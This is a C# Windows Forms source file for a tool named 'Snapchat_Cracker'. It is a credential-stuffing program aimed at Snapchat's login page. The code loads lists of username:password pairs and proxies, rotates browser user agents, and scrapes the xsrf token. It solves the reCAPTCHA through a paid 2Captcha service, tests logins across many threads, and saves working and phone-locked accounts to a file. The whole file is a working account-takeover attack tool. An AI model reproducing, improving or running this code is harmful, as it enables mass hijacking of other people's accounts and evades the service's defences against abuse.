using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using System.Windows.Forms;
using xNet;

namespace Snapchat_Cracker
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
            ProxyCombobox.SelectedIndex = 0;
            AddTolist();
            FileName = string.Format("Success - {0:yyyy-MM-dd_hh-mm-ss-tt}.txt", DateTime.Now);
            try
            {
                if (!Directory.Exists(@"Accounts\"))
                    Directory.CreateDirectory(@"Accounts\");
            }
            catch (Exception)
            {
            }
            this.fastObjectListView1.UseCellFormatEvents = true;
            this.fastObjectListView1.FormatCell += (sender, args) =>
            {
                if (args.ColumnIndex == 0 || args.ColumnIndex == 1 || args.ColumnIndex == 2)
                    return;
                args.Item.SubItems[3].ForeColor = args.Item.SubItems[3].Text.Contains("Phone") ? Color.Red : Color.Green;
            };

        }
        void AddTolist()
        {
            Useragents.Add("Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0");
            Useragents.Add("Mozilla/5.0 (Windows NT 6.1; rv:40.0) Gecko/20100101 Firefox/40.0");
            Useragents.Add("Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0");
            Useragents.Add("Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36");
            Useragents.Add("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/8.0.8 Safari/600.8.9");
            Useragents.Add("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36");
            Useragents.Add("Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36");
            Useragents.Add("Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:40.0) Gecko/20100101 Firefox/40.0");
            Useragents.Add("Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/45.0");
            Useragents.Add("Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/50.0");
            Useragents.Add("Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/55.0");
            Useragents.Add("Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0");
            Useragents.Add("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7");
            Useragents.Add("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36");
            Useragents.Add("Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36");
            Useragents.Add("Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36");
        }

        string FileName;

        HashSet<string> Proxies = new HashSet<string>();
        HashSet<string> Accounts = new HashSet<string>();
        HashSet<string> Useragents = new HashSet<string>();
        List<Thread> tList = new List<Thread>();
        int checkedcnt, goodcnt, badcnt, phonelockedcnt, errorscnt, captchacnt, lvcount;

        object _lock = new object();
        int index = 0;
        bool isRunning;
        TwoCaptchaClient client;
        Random rnd = new Random();
        int ProxyChoice = 0;

        private ProxyClient GetProxyClient(string Proxy)
        {
            switch (ProxyChoice)
            {
                case 0:
                    {
                        return HttpProxyClient.Parse(Proxy);
                    }
                case 1:
                    {
                        return Socks4ProxyClient.Parse(Proxy);
                    }
                case 2:
                    {
                        return Socks5ProxyClient.Parse(Proxy);
                    }
            }
            return HttpProxyClient.Parse(Proxy);
        }
        string Ofd(string choicename, int choice)
        {
            int cnt = 0;

            OpenFileDialog ofd = new OpenFileDialog();
            ofd.Title = $"Load {choicename} File";
            ofd.CheckFileExists = true;
            ofd.DefaultExt = "txt";
            ofd.Filter = "Text files (*.txt)|*.txt|All files (*.*)|*.*";
            ofd.FilterIndex = 1;
            ofd.RestoreDirectory = true;
            if (ofd.ShowDialog() == DialogResult.OK)
            {
                if (choice == 0)
                {
                    Accounts.Clear();
                    Accounts = new HashSet<string>(File.ReadAllLines(ofd.FileName).ToList());
                    cnt = Accounts.Count;
                }
                else
                {
                    Proxies.Clear();
                    Proxies = new HashSet<string>(File.ReadAllLines(ofd.FileName).ToList());
                    cnt = Proxies.Count;
                }

                MessageBox.Show($"Total {cnt} {choicename} Loaded!");
            }
            return ofd.FileName;
        }
        private void StartBtn_Click(object sender, EventArgs e)
        {
            if (Accounts.Count == 0)
            {
                MessageBox.Show("Please load accounts to being cracking!", "Accounts", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                return;
            }
            if (Proxies.Count == 0)
            {
                MessageBox.Show("Please load proxies to being cracking!", "Proxies", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                return;
            }
            var twocaptcha = textBox3.Text;
            if (string.IsNullOrEmpty(twocaptcha))
            {
                MessageBox.Show("Please Enter 2Captcha Key in textbox field!", "Twocaptcha", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                return;
            }
            ProxyChoice = ProxyCombobox.SelectedIndex;
            client = new TwoCaptchaClient(twocaptcha);
            var threads = (int)numericUpDown1.Value;
            isRunning = true;
            Toggle(0);
            checkedcnt = 0; goodcnt = 0; badcnt = 0; phonelockedcnt = 0; errorscnt = 0; index = 0; captchacnt = 0; lvcount = 0;
            for (int i = 0; i < threads; i++)
            {
                var t = new Thread(DoTask); t.IsBackground = true; tList.Add(t);
                t.Start();
            }
            var balanceT = new Thread(UpdateBalance); balanceT.IsBackground = true; balanceT.Start();
            var updateT = new Thread(() =>
            {
                while (true)
                {
                    if (isCompleted())
                    {

                        UpdateStatus("Completed");
                        MessageBox.Show("Snap Heaven Cracking Completed!", "About", MessageBoxButtons.OK, MessageBoxIcon.Information);
                        this.Invoke(new MethodInvoker(() =>
                        {
                            Toggle(1);
                        }));
                        break;
                    }
                    UpdateStatus("Running");
                    Thread.Sleep(1000);
                }
            });
            updateT.IsBackground = true;
            updateT.Start();
        }
        void UpdateBalance()
        {
            while (isRunning)
            {
                try
                {
                    this.Invoke(new MethodInvoker(() =>
                    {
                        label7.Text = $"${client.GetBalance()}";
                    }));
                }
                catch (Exception)
                {
                }
                Thread.Sleep(60000);
            }
        }
        object _SaveLock = new object();
        void Save(string acc, string pass, string status)
        {
            try
            {
                lock (_SaveLock)
                {
                    var lvdata = new LVData();
                    lvdata.Index = lvcount + 1;
                    lvdata.Username = acc;
                    lvdata.Password = pass;
                    lvdata.Status = status.Length > 0 ? "Phone Verification Required" : "Regular Account";
                    fastObjectListView1.AddObject(lvdata);
                    Interlocked.Increment(ref lvcount);
                    File.AppendAllText(@"Accounts\" + FileName, $"{acc}:{pass}{status}" + Environment.NewLine);
                }
            }
            catch (Exception) { }
        }
        void UpdateStatus(string status)
        {
            StatusTxt.Text = $"Status: {status} | Checked: {checkedcnt} | Success: {goodcnt} | Phone Locked: {phonelockedcnt} | Bad: {badcnt} | Captcha: {captchacnt} | Errors: {errorscnt} |";
        }
        bool isCompleted()
        {
            foreach (var item in tList)
            {
                if (item.IsAlive) return false;
            }
            return true;
        }

        private void Stopbtn_Click(object sender, EventArgs e)
        {
            isRunning = false;
            Stopbtn.Enabled = false;
            isRunning = false;
            Stopbtn.Enabled = false;
            var t = new Thread(() =>
            {
                foreach (var item in tList)
                {
                    try
                    {
                        item.Abort();
                    }
                    catch (Exception)
                    {
                    }
                }
            });
            t.IsBackground = true;
            t.Start();
        }

        private void clearListToolStripMenuItem_Click(object sender, EventArgs e)
        {
            try
            {
                if (fastObjectListView1.Items.Count == 0) return;
                var dialog = MessageBox.Show("Are you sure? This will clear the Cracked accounts list", "Sure?", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
                if (dialog == DialogResult.Yes)
                {
                    fastObjectListView1.Objects = null; lvcount = 0;
                }
            }
            catch (Exception)
            {
            }
        }

        private void copyUsernameToolStripMenuItem_Click(object sender, EventArgs e)
        {
            try
            {
                Clipboard.SetText(((LVData)fastObjectListView1.SelectedObject).Username);
            }
            catch (Exception)
            {
            }
        }

        private void copyPasswordToolStripMenuItem_Click(object sender, EventArgs e)
        {
            try
            {
                Clipboard.SetText(((LVData)fastObjectListView1.SelectedObject).Password);
            }
            catch (Exception)
            {
            }
        }

        private void openDirectoryToolStripMenuItem_Click(object sender, EventArgs e)
        {
            try
            {
                System.Diagnostics.Process.Start(@"Accounts\");
            }
            catch (Exception) { }
        }

        void Toggle(int choice)
        {
            if (choice == 0)
            {
                StartBtn.Enabled = false;
                Stopbtn.Enabled = true;
                LoadAcs.Enabled = false;
                LoadProxies.Enabled = false;
                ProxyCombobox.Enabled = false;
                numericUpDown1.Enabled = false;
                textBox3.Enabled = false;
            }
            else
            {
                StartBtn.Enabled = true;
                Stopbtn.Enabled = false;
                LoadAcs.Enabled = true;
                LoadProxies.Enabled = true;
                ProxyCombobox.Enabled = true;
                numericUpDown1.Enabled = true;
                textBox3.Enabled = true;
            }
        }

        string GetAccount()
        {
            var acc = "";
            lock (this)
            {
                try
                {
                    if (index < Accounts.Count)
                    {
                        acc = Accounts.ElementAt(index);
                        index += 1;
                    }
                }
                catch (Exception)
                {
                }
            }
            return acc;
        }
        void DoTask()
        {
            while (isRunning)
            {
                var acc = GetAccount();
                if (string.IsNullOrEmpty(acc)) break;
                var accdata = acc.Split(':');
                for (int i = 0; i < 5; i++)
                {
                    try
                    {
                        var proxy = Proxies.ElementAt(rnd.Next(Proxies.Count));
                        var req = new HttpReq(GetProxyClient(proxy), Useragents.ElementAt(rnd.Next(Useragents.Count)));
                        var src = req.Get("https://accounts.snapchat.com/accounts/login");
                        var token = Regex.Match(src, "data-xsrf=\"(.*?)\"");
                        if (!token.Success) continue;
                        req.cookies.Add("xsrf_token", token.Groups[1].Value);
                        var datakey = "6LdENzEUAAAAAMud35tItKpnCdOuZxblLIPOo9uw"; //update datakey if its changed on website.
                        var gresponse = "";
                        if (client.SolveRecaptchaV2(datakey, "https://accounts.snapchat.com/accounts/login", out gresponse))
                        {
                            var pdata = $"username={(accdata[0].Replace("@", "%40"))}&password={accdata[1]}&xsrf_token={token.Groups[1].Value}&continue=%2Faccounts%2Fwelcome&g-recaptcha-response={gresponse}&g-recaptcha-response={gresponse}";
                            src = req.Post("https://accounts.snapchat.com/accounts/login", pdata, "https://accounts.snapchat.com/");
                            if (src.Contains("accounts/logout"))
                            {
                                Save(accdata[0], accdata[1], "");
                                Interlocked.Increment(ref goodcnt);
                            }
                            else if (src.Contains("data-obfuscated-phone"))
                            {
                                Save(accdata[0], accdata[1], " - Phone Verification Required");
                                Interlocked.Increment(ref phonelockedcnt);
                                Interlocked.Increment(ref goodcnt);

                            }
                            else if (src.Contains("Unable to verify captcha"))
                            {
                                Interlocked.Increment(ref captchacnt);
                                continue;
                            }
                            else
                            {
                                Interlocked.Increment(ref badcnt);
                            }
                            Interlocked.Increment(ref checkedcnt);
                            break;
                        }
                    }
                    catch (Exception)
                    {
                        Interlocked.Increment(ref errorscnt);
                        //Interlocked.Increment(ref checkedcnt);
                    }
                }
            }
        }
        private void LoadAcs_Click(object sender, EventArgs e)
        {
            var fname = Ofd("Accounts", 0);
            if (!string.IsNullOrEmpty(fname))
            {
                AccountsPathBox.Text = fname;
            }
        }
        private void LoadProxies_Click(object sender, EventArgs e)
        {
            var fname = Ofd("Proxies", 1);
            if (!string.IsNullOrEmpty(fname))
            {
                ProxiesPathBox.Text = fname;
            }
        }

        private void Aboutbtn_Click(object sender, EventArgs e)
        {
            MessageBox.Show("Made by ", "About", MessageBoxButtons.OK, MessageBoxIcon.Information);
        }
    }
}